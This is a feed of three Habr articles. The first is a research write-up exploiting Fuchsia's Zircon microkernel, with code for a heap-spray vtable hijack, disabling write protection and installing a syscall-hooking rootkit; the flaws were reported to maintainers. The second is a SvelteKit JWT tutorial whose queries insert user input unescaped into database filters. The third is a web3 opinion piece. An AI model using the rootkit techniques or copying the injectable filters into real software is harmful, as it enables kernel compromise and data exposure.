В моей карте средств защиты ядра Linux вы можете увидеть SMAP и другие средства защиты от перехвата потока управления.

Я придумал два способа обойти защиту SMAP:

  1. Можно попробовать реализовать атаку ret2dir для микроядра Zircon, так как в нем тоже используется отображение памяти physmap.

  2. Можно использовать утечку информации из ядерного журнала, чтобы найти ядерный адрес, указывающий на данные под контролем атакующего. Размещение фальшивой vtable по этому адресу в пространстве ядра также позволит обойти SMAP.

Но чтобы излишне не усложнять свой первый эксперимент с безопасностью Zircon, я решил пока отключить функции SMAP и SMEP для виртуальной машины с Fuchsia и разместил vtable в эксплойте в пользовательском пространстве:

#define VTABLE_SZ 16 unsigned long fake_vtable[VTABLE_SZ] = { 0 }; // global array

Затем я использовал указатель на мою фальшивую таблицу виртуальных методов при heap spraying:

#define DATA_SZ 512   unsigned char spray_data[DATA_SZ] = { 0 };   unsigned long **vtable_ptr = (unsigned long **)&spray_data[0];    // Control-flow hijacking in DownCastDispatcher():   //   mov    rax,QWORD PTR [r13+0x0]   //   movsxd r11,DWORD PTR [rax+0x8]   //   add    r11,rax   //   mov    rdi,r13   //   call   0xffffffff0031a77c <__x86_indirect_thunk_r11>    *vtable_ptr = &fake_vtable[0]; // address in rax   fake_vtable[1] = (unsigned long)pwn - (unsigned long)*vtable_ptr; // value for DWORD PTR [rax+0x8]

Это очень интересный фрагмент эксплойта. Здесь массив spray_data содержит данные для системного вызова zx_fifo_write(), с помощью которого выполняется heap spraying и перезаписывается TimerDispatcher. Поскольку адрес таблицы виртуальных методов должен находиться в начале объекта TimerDispatcher, указатель vtable_ptr устанавливается на начало массива spray_data. Затем с помощью vtable_ptr в данные для спрея записывается адрес фальшивой таблицы fake_vtable. Позже при перехвате потока управления в ядерной функции DownCastDispatcher() этот адрес fake_vtable окажется в регистре rax. Поэтому элемент fake_vtable[1], адресуемый с помощью DWORD PTR [rax+0x8], должен содержать значение, используемое ядром для вычисления адреса метода TimerDispatcher.get_type(). А в качестве этого метода get_type() я хочу вызвать свою функцию pwn() из эксплойта, поэтому в элемент fake_vtable[1] я записываю разность между адресом функции pwn() и адресом моей фальшивой таблицы виртуальных методов.

Рассмотрим реальный пример того, как ядро работает с этой фальшивой таблицей виртуальных методов, когда исполняется эксплойт:

  1. Массив fake_vtable расположен по адресу 0x35aa74aa020, а функция pwn() — по адресу 0x35aa74a80e0.

  2. В элементе fake_vtable[1] содержится значение 0x35aa74a80e0 - 0x35aa74aa020 = 0xffffffffffffe0c0.

  3. При выполнении ядерной функции DownCastDispatcher() на это значение будет указывать адрес rax+0x8.

  4. После того как Zircon выполнит инструкцию movsxd r11, DWORD PTR [rax+0x8], регистр r11 также будет содержать 0xffffffffffffe0c0.

  5. Суммирование r11 и rax, в котором содержится адрес 0x35aa74aa020 массива fake_vtable, в результате даст значение 0x35aa74a80e0. Это адрес функции pwn().

  6. Когда Zircon вызовет __x86_indirect_thunk_r11, функция pwn() из эксплойта получит управление.

Что бы такое взломать в Fuchsia

Когда я добился исполнения произвольного кода в микроядре Zircon, я стал думать: что с помощью этого можно атаковать?

Первой моей мыслью было подделать тот суперресурс ZX_RSRC_KIND_ROOT, который я видел в zx_debuglog_create(). Однако я не смог придумать, как с его помощью повысить привилегии, потому что ZX_RSRC_KIND_ROOT нечасто используется в исходном коде Fuchsia.

Понимая, что Zircon — это микроядро, я осознал, что для повышения привилегий в Fuchsia потребуется атаковать средства межпроцессного взаимодействия. Другими словами, мне нужно было из микроядра перехватить IPC между компонентами Fuchsia, например между моим непривилегированным эксплойтом и менеджером компонентов (component manager), обладающим высокими привилегиями. Поэтому я вернулся к изучению устройства пользовательского пространства Fuchsia. Это было сложно и скучновато… Но внезапно мне в голову пришла идея.

А почему бы не поставить руткит в микроядро Zircon?

Это показалось мне более интересным, и я стал разбираться, как Zircon обрабатывает свои системные вызовы.

Системные вызовы в Fuchsia

Жизненный цикл системного вызова в Fuchsia кратко описан в ее документации. В Zircon тоже есть таблица системных вызовов (syscall table), как и в ядре Linux. Для микроархитектуры x86_64 в Zircon определена функция x86_syscall() из файла fuchsia/zircon/kernel/arch/x86/syscall.S, реализованная на языке ассемблера:

cmp     $ZX_SYS_COUNT, %rax jae     .Lunknown_syscall leaq    .Lcall_wrapper_table(%rip), %r11 movq    (%r11,%rax,8), %r11 lfence jmp     *%r11

Вот как этот код выглядит в отладчике:

0xffffffff00306fc8 <+56>:cmp    rax,0xb0 0xffffffff00306fce <+62>:jae    0xffffffff00306fe1 <x86_syscall+81> 0xffffffff00306fd0 <+64>:lea    r11,[rip+0xbda21]        # 0xffffffff003c49f8 0xffffffff00306fd7 <+71>:mov    r11,QWORD PTR [r11+rax*8] 0xffffffff00306fdb <+75>:lfence  0xffffffff00306fde <+78>:jmp    r11

Обратите внимание: отладчик показывает, что таблица системных вызовов расположена по адресу 0xffffffff003c49f8. Посмотрим ее содержимое:

(gdb) x/10xg 0xffffffff003c49f8 0xffffffff003c49f8:0xffffffff003070400xffffffff00307050 0xffffffff003c4a08:0xffffffff003070700xffffffff00307080 0xffffffff003c4a18:0xffffffff003070900xffffffff003070b0 0xffffffff003c4a28:0xffffffff003070d00xffffffff003070f0 0xffffffff003c4a38:0xffffffff003071100xffffffff00307130  $ disassemble 0xffffffff00307040 Dump of assembler code for function x86_syscall_call_bti_create:    0xffffffff00307040 <+0>:mov    r8,rcx    0xffffffff00307043 <+3>:mov    rcx,r10 ...

Первый адрес 0xffffffff00307040 в таблице системных вызовов указывает на функцию x86_syscall_call_bti_create(). Это обработчик системного вызова номер ноль, он определен в автоматически сгенерированном файле kernel-wrappers.inc в директории gen/zircon/vdso/include/lib/syscalls/. А последний системный вызов в таблице — это x86_syscall_call_vmo_create_physical() номер 175 по адресу 0xffffffff00307d10. Поэтому константа ZX_SYS_COUNT имеет значение 176. Распечатаем в отладчике всю таблицу системных вызовов (и немного больше):

(gdb) x/178xg 0xffffffff003c49f8 0xffffffff003c49f8:0xffffffff003070400xffffffff00307050 0xffffffff003c4a08:0xffffffff003070700xffffffff00307080 0xffffffff003c4a18:0xffffffff003070900xffffffff003070b0 ... 0xffffffff003c4f58:0xffffffff00307ce00xffffffff00307cf0 0xffffffff003c4f68:0xffffffff00307d000xffffffff00307d10 0xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>:0x03000103000003000x0004030003030002

Здесь видно, что ранее упомянутый указатель на функцию 0xffffffff00307d10 — это последний системный вызов в таблице. Этого знания мне было достаточно для экспериментов с постановкой руткита.

Постановка руткита в микроядро Zircon

В качестве первого эксперимента я перезаписал всю таблицу системных вызовов значением 0x41, получив управление в моей функции pwn(). Как было сказано выше, эта функция выполняется в результате перехвата потока управления в Zircon. Для того чтобы перезаписать таблицу системных вызовов, которая доступна только для чтения, я использовал старый добрый прием со сбросом бита WP в контрольном регистре CR0:

#define SYSCALL_TABLE 0xffffffff003c49f8 #define SYSCALL_COUNT 176  int pwn(void) {   unsigned long cr0_value = read_cr0();    cr0_value = cr0_value & (~0x10000); // Set WP flag to 0    write_cr0(cr0_value);    memset((void *)SYSCALL_TABLE, 0x41, sizeof(unsigned long) * SYSCALL_COUNT); }

Функции записи и чтения контрольного регистра CR0:

void write_cr0(unsigned long value) {   __asm__ volatile("mov %0, %%cr0" : : "r"(value)); }  unsigned long read_cr0(void) {   unsigned long value;   __asm__ volatile("mov %%cr0, %0" : "=r"(value));   return value; }

Результат перезаписи таблицы системных вызовов виден в отладчике:

(gdb) x/178xg 0xffffffff003c49f8 0xffffffff003c49f8:0x41414141414141410x4141414141414141 0xffffffff003c4a08:0x41414141414141410x4141414141414141 0xffffffff003c4a18:0x41414141414141410x4141414141414141 ... 0xffffffff003c4f58:0x41414141414141410x4141414141414141 0xffffffff003c4f68:0x41414141414141410x4141414141414141 0xffffffff003c4f78 <_ZN6cpu_idL21kTestDataCorei5_6260UE>:0x03000103000003000x0004030003030002

Это сработало. Отлично. Я стал думать, как осуществить перехват системных вызовов микроядра. Сделать это по аналогии с поведением ядерных руткитов для Linux было невозможно. Дело в том, что обычно руткит для Linux — это ядерный модуль, в котором хуки (функции-перехватчики) реализованы как функции этого модуля в пространстве ядра. А в моем случае я пытался поставить руткит в микроядро из эксплойта в пользовательском пространстве. Код из эксплойта не мог работать как ядерный хук, потому что он присутствовал только в адресном пространстве моего пользовательского процесса.

Поэтому я решил превратить в хук руткита какой-либо имеющийся в Zircon код. Первым кандидатом на перезапись стала ядерная функция assert_fail_msg(), которая меня конкретно достала, пока я разрабатывал свой прототип эксплойта. Размер этой функции был достаточно большим, чтобы разместить вместо нее мой хук для руткита.

Сначала я написал хук для системного вызова zx_process_create() на языке C, но мне совсем не понравился исполняемый код, который сгенерировал компилятор. Из-за этого я переписал его на языке ассемблера:

#define XSTR(A) STR(A) #define STR(A) #A  #define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0 #define HOOK_CODE_SIZE 60 #define ZIRCON_PRINTF 0xffffffff0010fa20 #define ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE 0xffffffff003077c0  void process_create_hook(void) {   __asm__ ( "push %rax;"     "push %rdi;"     "push %rsi;"     "push %rdx;"     "push %rcx;"     "push %r8;"     "push %r9;"     "push %r10;"     "xor %al, %al;"     "mov $" XSTR(ZIRCON_ASSERT_FAIL_MSG + 1 + HOOK_CODE_SIZE) ",%rdi;"     "mov $" XSTR(ZIRCON_PRINTF) ",%r11;"     "callq *%r11;"     "pop %r10;"     "pop %r9;"     "pop %r8;"     "pop %rcx;"     "pop %rdx;"     "pop %rsi;"     "pop %rdi;"     "pop %rax;"     "mov $" XSTR(ZIRCON_X86_SYSCALL_CALL_PROCESS_CREATE) ",%r11;"     "jmpq *%r11;"); }

Получилось здорово:

  1. Хук сохраняет в ядерном стеке значения всех регистров, которые могут быть испорчены (clobbered) при последующих вызовах функций.

  2. Подготавливается и вызывается ядерная функция printf():

  • Первый аргумент этой функции передается через регистр rdi. В него помещается адрес строки, которую я хочу напечатать в ядерном журнале. Подробнее про эту строку расскажу дальше. Трюк с макросами STR и XSTR называется стрингификацией (stringizing). Она служит для преобразования фрагмента кода в строковую константу.

  • Нулевой al указывает, что векторные аргументы не передаются функции printf(), имеющей переменное количество аргументов.

  • В регистр r11 помещается адрес функции printf() микроядра Zircon, которую затем вызывает инструкция callq *%r11.

  1. После вызова printf() восстанавливаются начальные значения регистров.

  2. Наконец хук выполняет прыжок на настоящий обработчик системного вызова zx_process_create().

А теперь перейдем к самой интересной части — постановке руткита. Функция pwn() из эксплойта копирует исполняемый код хука на место функции assert_fail_msg() в микроядре Zircon:

#define ZIRCON_ASSERT_FAIL_MSG 0xffffffff001012e0 #define HOOK_CODE_OFFSET 4 #define HOOK_CODE_SIZE 60    char *hook_addr = (char *)ZIRCON_ASSERT_FAIL_MSG;   hook_addr[0] = 0xc3; // ret to avoid assert   hook_addr++;   memcpy(hook_addr, (char *)process_create_hook + HOOK_CODE_OFFSET, HOOK_CODE_SIZE);   hook_addr += HOOK_CODE_SIZE;   const char *pwn_msg = "ROOTKIT HOOK: syscall 102 process_create()\n";   strncpy(hook_addr, pwn_msg, strlen(pwn_msg) + 1);  #define SYSCALL_N_PROCESS_CREATE 102 #define SYSCALL_TABLE 0xffffffff003c49f8    unsigned long *syscall_table_item = (unsigned long *)SYSCALL_TABLE;   syscall_table_item[SYSCALL_N_PROCESS_CREATE] = (unsigned long)ZIRCON_ASSERT_FAIL_MSG + 1; // after ret    return 42; // don't pass the type check in DownCastDispatcher

Рассмотрим этот процесс подробнее:

  1. Переменная hook_addr инициализируется адресом ядерной функции assert_fail_msg().

  2. Первый байт функции перезаписывается значением 0xc3, что соответствует инструкции ret. С помощью этого я избегаю отказа микроядра при неуспешной проверке assertion. Теперь, если Zircon вызывает assert_fail_msg(), происходит немедленный возврат из функции, и ядро продолжает работать.

  3. Вслед за байтом 0xc3 эксплойт располагает исполняемый код хука process_create_hook() для системного вызова zx_process_create(). Устройство хука я описал выше.

  4. После кода хука эксплойт располагает строку сообщения, которую я хочу печатать в ядерном журнале на каждом системном вызове zx_process_create(). Когда хук выполнит инструкцию mov $" XSTR(ZIRCON_ASSERT_FAIL_MSG + 1 + HOOK_CODE_SIZE) ",%rdi, адрес этой строки попадет в регистр rdi. Здесь один байт прибавлен к адресу строки из-за дополнительной инструкции ret, которая была записана в начале функции assert_fail_msg().

  5. После размещения хука и его строки в ядерном коде функция pwn() записывает адрес хука ZIRCON_ASSERT_FAIL_MSG + 1 в 102-й элемент таблицы системных вызовов, который должен указывать на обработчик для zx_process_create().

  6. Наконец, функция pwn() эксплойта возвращает число 42. Зачем? Как было описано выше, Zircon использует мою фальшивую таблицу виртуальных методов и вызывает pwn() в качестве метода TimerDispatcher.get_type(). Настоящий метод get_type() для этого ядерного объекта возвращает число 16, чтобы пройти проверку типа и продолжить исполнение. А я возвращаю 42, чтобы, напротив, проверка типа не сработала, обработка системного вызова zx_timer_cancel() поскорее закончилась и из-за атакованного объекта TimerDispatcher в системе больше ничего не сломалось.

Вот и все. Руткит установлен в микроядро Zircon операционной системы Fuchsia!

Демонстрация прототипа эксплойта

Для этой демонстрации я реализовал второй аналогичный хук для системного вызова zx_process_exit() и разместил его на месте ядерной функции assert_fail(). Таким образом, при создании и завершении процессов руткит печатает в ядерном журнале сообщения. Демонстрация работы эксплойта:

Заключение

Вот так я познакомился с операционной системой Fuchsia и ее микроядром Zircon. Я давно хотел применить свои навыки и посмотреть на эту интересную ОС с точки зрения атакующего.

В статье я сделал обзор архитектуры безопасности Fuchsia, описал инструментарий для разработки ОС и рассказал про свои эксперименты с эксплуатацией уязвимостей для микроядра Zircon. Я сообщил мейнтейнерам Fuchsia о проблемах безопасности, обнаруженных в ходе исследования.

Это одна из первых публичных работ по безопасности операционной системы Fuchsia. Думаю, она будет полезна сообществу исследователей безопасности, поскольку освещает практические аспекты эксплуатации уязвимостей и защиты в микроядерной ОС. Буду рад, если эта статья вдохновит вас на эксперименты с безопасностью операционных систем.


ссылка на оригинал статьи https://habr.com/ru/company/pt/blog/674216/

Туториал: SvelteKit JWT авторизация

Здравствуйте, в этой статье рассказывается о том, как внедрить аутентификацию в ваш SvelteKit проект. Это будет JWT аутентификация с использованием refresh токенов для дополнительной безопасности. Мы будем использовать Supabase в качестве базы данных (PostgreSQL), но основы должны быть теми же.

Github repository

Как это будет работать?

Когда пользователь регистрируется, мы сохраняем информацию о пользователе и пароль в нашей базе данных. Также мы сгенерируем refresh токен и сохраним его как локально, так и в базе данных. Мы создадим JWT токен с информацией о пользователе и сохраним его в виде cookie. Срок действия этого JWT токена истекает через 15 минут. Когда срок его действия истечет, мы проверим, существует ли refresh токен, и сравним его с тем, который сохранен в нашей базе данных. Если он совпадает, мы можем создать новый JWT токен. С помощью этой системы вы можете отозвать доступ пользователя к вашему веб-сайту, изменив refresh токен, сохраненный в базе данных (хотя это может занять до 15 минут).

Наконец, почему Supabase, а не Firebase? Лично я считаю, что неограниченное чтение / запись гораздо важнее размера хранилища при работе с бесплатной системой. Но любая база данных должна работать.

I. Структура

Этот проект будет состоять из 3-х страниц

  • index.svelte: Страница проекта

  • signin.svelte: Страница входа

  • signup.svelte: Страница регистрации

Ну и пакеты, которые мы будем использовать

  • supabase

  • bcrypt: Для хеширования паролей

  • crypto: Для генерации user id (UUID)

  • jsonwebtoken: Для создания JWT

  • cookie: Для парсинга cookie с сервера

II. Supabase

Создайте новый проект. Теперь создайте новую таблицу users (всё non-null).

  • id : int8, unique, isIdentity

  • email : varchar, unique

  • password : text

  • username : varchar, unique

  • user_id : uuid, unique

  • refresh_token : text

Перейдите в settings > api. Скопируйте service_role и URL. Создайте supabase-admin.ts:

import { createClient } from '@supabase/supabase-js';  export const admin = createClient(     'URL',     'service_role' );

Если вы используете Supabase, НЕ используйте этого клиента (admin). Создайте нового клиента, используя свой anon ключ.

III. Создание учётной записи (аккаунта)

Создайте новый эндпоинт (/api/create-user.ts). Он будет для POST запроса, и в качестве его body(тела) потребуются email, password и username.

export const post: RequestHandler = async (event) => {     const body = (await event.request.json()) as Body;     if (!body.email || !body.password || !body.username) return returnError(400, 'Invalid request');     if (!validateEmail(body.email) || body.username.length < 4 || body.password.length < 6)         return returnError(400, 'Bad request'); }

Кстати, returnError() предназначен только для того, чтобы сделать код чище. И validateEmail() просто проверяет, есть ли в строке @, поскольку (насколько мне известно) мы не можем на 100% проверить, является ли email действительным, используя регулярное выражение.

export const returnError = (status: number, message: string): RequestHandlerOutput => {     return {         status,         body: {             message         }     }; };

В любом случае, давайте убедимся, что email или username еще не используются.

const check_user = await admin     .from('users')     .select()     .or(`email.eq.${body.email},username.eq.${body.username}`)     .maybeSingle() if (check_user.data) return returnError(405, 'User already exists');

Затем хешируем пароль пользователя (password) и создаем новый user_id (UUID) и refresh токен, который будет сохранен в нашей базе данных.

const salt = await bcrypt.genSalt(10); const hash = await bcrypt.hash(body.password, salt); const user_id = randomUUID(); // import { randomUUID } from 'crypto'; const refresh_token = randomUUID(); const create_user = await admin.from('users').insert([     {         email: body.email,         username: body.username,         password: hash,         user_id,         refresh_token     } ]); if (create_user.error) return returnError(500, create_user.statusText);

Наконец, сгенерируйте новый JWT токен. Обязательно выберите что-нибудь случайное для ключа. Убедитесь, что вы установили безопасный режим (Secure) только в том случае, если вы находитесь режиме разработки (localhost — это http, а не https).

const user = {     username: body.username,     user_id,     email: body.email }; const secure = dev ? '' : ' Secure;'; // import * as jwt from 'jsonwebtoken'; // expires in 15 minutes const token = jwt.sign(user, key, { expiresIn: `${15 * 60 * 1000}` }); return {     status: 200,     headers: {         // import { dev } from '$app/env';         // const secure = dev ? '' : ' Secure;';         'set-cookie': [             // expires in 90 days             `refresh_token=${refresh_token}; Max-Age=${30 * 24 * 60 * 60}; Path=/; ${secure} HttpOnly`,             `token=${token}; Max-Age=${15 * 60}; Path=/;${secure} HttpOnly`         ]     } };

На нашей странице регистрации мы можем вызвать POST-запрос и перенаправить нашего пользователя, если он пройдет успешно. Обязательно используйте window.location.href вместо goto(), иначе изменение (установка cookie) не будет применено.

const signUp = async () => {     const response = await fetch('/api/create-user', {         method: 'POST',         credentials: 'same-origin',         body: JSON.stringify({             email,             username,             password         })     });     if (response.ok) {         window.location.href = '/';     } };

IV. Вход

Мы обработаем вход в /api/signin.ts. На этот раз мы разрешим пользователю использовать либо свое имя пользователя (username), либо адрес электронной почты (email). Чтобы сделать это, мы можем проверить, является ли это действительным именем пользователя или адресом электронной почты, и проверить, существует ли такое же имя пользователя или адрес электронной почты

export const post: RequestHandler = async (event) => {     const body = (await event.request.json()) as Body;     if (!body.email_username || !body.password) return returnError(400, 'Invalid request');     const valid_email = body.email_username.includes('@') && validateEmail(body.email_username);     const valid_username = !body.email_username.includes('@') && body.email_username.length > 3;     if ((!valid_email && !valid_username) || body.password.length < 6)         return returnError(400, 'Bad request');     const getUser = await admin         .from('users')         .select()         .or(`username.eq.${body.email_username},email.eq.${body.email_username}`)         .maybeSingle()     if (!getUser.data) return returnError(405, 'User does not exist'); }

Далее мы сравним введенный и сохраненный пароль.

const user_data = getUser.data as Users_Table; const authenticated = await bcrypt.compare(body.password, user_data.password); if (!authenticated) return returnError(401, 'Incorrect password');

И, наконец, сделайте то же самое, что и при создании новой учетной записи.

const refresh_token = user_data.refresh_token; const user = {     username: user_data.username,     user_id: user_data.user_id,     email: user_data.email }; const token = jwt.sign(user, key, { expiresIn: `${expiresIn * 60 * 1000}` }); return {     status: 200,     headers: {         'set-cookie': [             `refresh_token=${refresh_token}; Max-Age=${refresh_token_expiresIn * 24 * 60 * 60}; Path=/; ${secure} HttpOnly`,             `token=${token}; Max-Age=${15 * 60}; Path=/;${secure} HttpOnly`         ]     } };

V. Аутентификация пользователей

Хотя мы и можем использовать хуки для чтения JWT токена (как в этой статье, которую написал автор), мы не сможем сгенерировать (и установить) новый JWT токен с их помощью. Итак, мы вызовем эндпоинт, который прочитает cookie и проверит их, а также вернет данные пользователя, если они существуют. Этот эндпоинт также будет обрабатывать сеансы обновления (refreshing sessions). Этот эндпоинт будет называться /api/auth.ts.

Мы можем получить cookie, и если они действительны — вернуть данные пользователя. Если они недействительны, функция verify() выдаст сообщение об ошибке.

export const get: RequestHandler = async (event) => {     const { token, refresh_token } = cookie.parse(event.request.headers.get('cookie') || '');     try {         const user = jwt.verify(token, key) as Record<any, any>;         return {             status: 200,             body: user         };     } catch {         // invalid or expired token     } }

Если срок действия JWT токена истек, мы можем проверить refresh токен с помощью токена в нашей базе данных. Если они равны, то мы можем создать новый JWT токен.

if (!refresh_token) return returnError(401, 'Unauthorized user'); const getUser = await admin.from('users').select().eq("refresh_token", refresh_token).maybeSingle() if (!getUser.data) {     // remove invalid refresh token     return {         status: 401,         headers: {             'set-cookie': [                 `refresh_token=; Max-Age=0; Path=/;${secure} HttpOnly`             ]         },     } } const user_data = getUser.data as Users_Table; const new_user = {     username: user_data.username,     user_id: user_data.user_id,     email: user_data.email }; const token = jwt.sign(new_user, key, { expiresIn: `${15 * 60 * 1000}` }); return {     status: 200,     headers: {         'set-cookie': [             `token=${token}; Max-Age=${15 * 60}; Path=/;${secure} HttpOnly`         ]     }, };

VI. Авторизация пользователей

Чтобы авторизовать пользователя, мы можем проверить отправку запроса из /api/auth в load функции.

// index.sve;te // inside <script context="module" lang="ts"/> export const load: Load = async (input) => {     const response = await input.fetch('/api/auth');     const user = (await response.json()) as Session;     if (!user.user_id) {         // user doesn't exist         return {             status: 302,             redirect: '/signin'         };     }     return {         props: {             user         }     }; };

VII. Выход пользователя из системы

Чтобы выйти из системы, просто удалите JWT токен и refresh токен.

// /api/signout.ts export const post : RequestHandler = async () => {     return {     status: 200,         headers: {             'set-cookie': [                 `refresh_token=; Max-Age=0; Path=/; ${secure} HttpOnly`,                 `token=; Max-Age=0; Path=/;${secure} HttpOnly`             ]         }     }; };

VIII. Отзыв доступа у пользователя

Чтобы отозвать доступ у пользователя, просто измените refresh токен пользователя в базе данных. Имейте в виду, что пользователь будет оставаться в системе до 15 минут (срок действия JWT).

const new_refresh_token = randomUUID(); await admin.from('users').update({ refresh_token: new_refresh_token }).eq("refresh_token", refresh_token);

Это основы, но если вы поняли это, реализация обновлений профиля и других функций должна быть довольно простой.


ссылка на оригинал статьи https://habr.com/ru/post/674456/

web5 скорее всего будет, пока не расходимся

Узрев повторную статью-мнение-перевод на оригинальный пост фаундера Signal «web3 не будет: расходимся по домам» https://habr.com/ru/post/673836/, не смог устоять от соблазна дать расширенное op-ed опровержение. И в комментарий оно не влезло.

Мое мнение, что Moxie сделал только эмоциональные выводы, хотя и назвал причину правильно: “Все упирается в нежелание людей держать свои сервера. Потому что держать сервера — это сложно, а мы хотим нажимать одну кнопку. “ а если покопаться более фундаментально, то все может предстать в более рациональных абстракциях.

Рациональная анализ приземленный на уровни абстракций “имхо” таков:

  • Проблема НЕ в серверах, а в трудностях удаленного контроля за ними — кто их объективно контролирует, у кого ключи от сервера/квартиры. Так то каждый из нас с сервером или двумя в кармане каждый день ходит — и ничего. Но с удаленными серверами все просто чуть сложнее.

  • Проблема в том, что абсолютно весь интернет web2.0 был построен на одной фундаментальной предпосылке:

(*) люди НЕ умеют и НИКОГДА не смогут/не станут хранить приватные ключи (пароли, любую энтропию) самостоятельно, и потому все системы имеют дизайн централизованный в пределе, чтобы “если что” откатить. У централизации есть свои вторичные выгоды, на которых построены империи людьми понимающими в “шлагбаумах”, но с ключей все началось раньше (web1→web2.0). В итоге это привело к тому, что ты не можешь иметь свой root-of-trust ключ от реально важных данных, точка, by design. Вернее можешь — но иди и построй всю систему и сервера сам, остальным это не нужно (т.е. они не готовы за это платить).

Однако эволюция неумолима, и любой монопольный рост приходит к необходимости становится распределенным — увеличивать свой уровень complexity, ради эффективности и дальнейшего роста. Однако, аутентификация юзера (хранение его приватных ключей и открывания ему шлагбаума к его данным) настолько важная часть удержания пользователя от переползания в другую империю, что google и apple уже годы соревнуются как бы забенефитить от создания открытых стандартов, но исключить риски возможности утекания юзера — и вся эта свистопляска полностью вокруг генерации и хранения приватных ключей первично. Именно по-этому у Apple и Google свои телефоны (и свой самодельный секьюрный чип внутри!). Именно по-этому Microsoft профукав свой телефон — подалась в decentralized identity — пушинг открытого стандарта, где юзер МОЖЕТ, НО НЕ ОБЯЗАН хранить свои приватные ключи.

В общем те кто в теме прекрасно знают, что NFT это достаточно убогая реализация концепции verifiable credentials из decentralized identity, и не случайно нынче Виталик об этой decentralized identity запел опять и о проблеме децентрализованной репутации (вторая экзистенциальная проблема после ключей), но естественно опять придумав свой нарратив, как иначе перехватить повестку. Фундаментально — биткоин это тоже просто система decentralized identity + проткол (“эталон”) переоценки ценности добытой на планете энергии каждые ~10 минут.

Так что рациональный вывод из этого всего следует простой:

  • web3 концепция (в научном мире известная как verifiable execution, например, и блокчейн ей не обязателен) — неизбежно придет, потому что:

а) распределенность (в том числе ответственности ключей на юзеров) так или иначе все больше нужна для дальнейшего экономически эффективного масштабирования информационных систем обслуживающих мир людей,

б) все это так или иначе произойдет благодаря прогрессу всякого гомоморфного шифрования и прочих интересных технологий. Прогрессу который отчасти происходит быстрее так же и благодаря усилию Виталиков и Толь, по привлечению внимания и денег как к возможностям, так и к эпик фейлам До Квонов. В том числе прогрессу технологий/продуктов делающих риски и управление своими ключами для юзеров не сложнее чем сегодня паролями (хах!), или даже проще (tbс).

P.S.: web5 и картинка это отсылка недавним анонсам Дорси, которые напрямую этого вопроса касаются, но в тексте не затрагиваются.


ссылка на оригинал статьи https://habr.com/ru/post/674460/